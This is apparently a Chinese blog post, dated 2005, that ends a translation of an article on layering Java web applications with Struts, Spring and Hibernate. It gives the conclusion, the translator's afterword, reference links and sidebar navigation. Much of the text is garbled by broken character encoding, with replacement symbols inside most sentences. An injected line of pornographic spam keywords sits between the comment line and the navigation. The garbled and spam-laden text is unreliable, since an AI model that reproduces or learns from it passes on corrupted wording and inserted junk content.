�q�篇文章在技术和构架斚w��掩盖了很多低层的基础信息�Q?文章的主要的意图在于让你意识到如何给你应用程序分层。分层可�?解�?你的代码——允许新的组件被��d��q�来�Q�而且让你的代码易于维护�?�q�里用到的技术只是专注于�?解偶"做好。不��怎样�Q��用这��L��构架可以让你用其他技术代替现在的层。例如，你可能不使用Hibernate实现持久化。既然你在DAO中面向接口的�~�程的，所以你完全可以用iBATIS来代�ѝ��或者，你也可能想用 Struts外的其他的技术或者框架替换现在的UI层（转换久层�Q�实现层�q�不应该直接影响��C��的业务逻辑和业务服务层�Q�。用适当的框架搭��Z��的Web应用�Q�其实也不是一件烦琐的工作�Q�更主要的是�?解�?了你�E�序中的各个层�?

后记�Q?

看完�q�篇文章后，只是觉得很喜�Ƣ，于是��q��译了�Q�当然同时也准备着挨大家扔来的鸡蛋�Q�）�?

�q�篇文章里�ƈ没有太多的技术细节，和详�l�的步骤。如果你从未使用�q�这些框架而在�q�行实例�E�序遇上困难的话�Q�可以到CSDN论坛Java Open Source版发��_��我一定会详细解答的（啊哦�Q�这不算做广告吧�Q�）�Q?

文章是从一个构架的角度讲述了如何搭配现有的开源框架进行分层，有太多的术语我都不知道怎么表达�Q�而且可能有很多语句存在错误。如果媄响了你的阅读�Q�请你直接点原文地址�Q�我同时也象你说声抱歉�?

作者简介：Mark Eagle 高��软�g工程师，亚特兰大�?
��?译：Totodo,软�g工程�?

参考：

Struts�Q�http://jakarta.apache.org/struts/index.html

Spring: http://www.springframework.org

Hibernate: http://www.hibernate.org

http://www.hibernate.org.cn

关于控制反�{IOC和依赖注��：http://www.martinfowler.com/articles/injection.html

原文:

http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=1
http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=2
http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=3
http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=4

frankboy 2005-12-27 23:15 发表评论

亚洲成av人片在线观看www,麻豆网站在线免费观看,a亚洲天堂av

JDBC数据库连接池

TOMCAT中数据库�q�接池的配置

Struts初步知识

���谈jsp安全�~�程(�?

java学习

java问答

Appfuse

CharSequence

Pattern�?SPAN class=original_words>Matcher

find( )

Groups

start( )和end( )

匚w��的模�?Pattern flags)

split( )

替换操作

reset( )

正则表达式与Java I/O

�q�需要StringTokenizer�?

�ȝ��

struts+spring+hibernate

使用struts+spring+hibernate�l�装你的web应用架构

��谈jsp安全�~�程(�?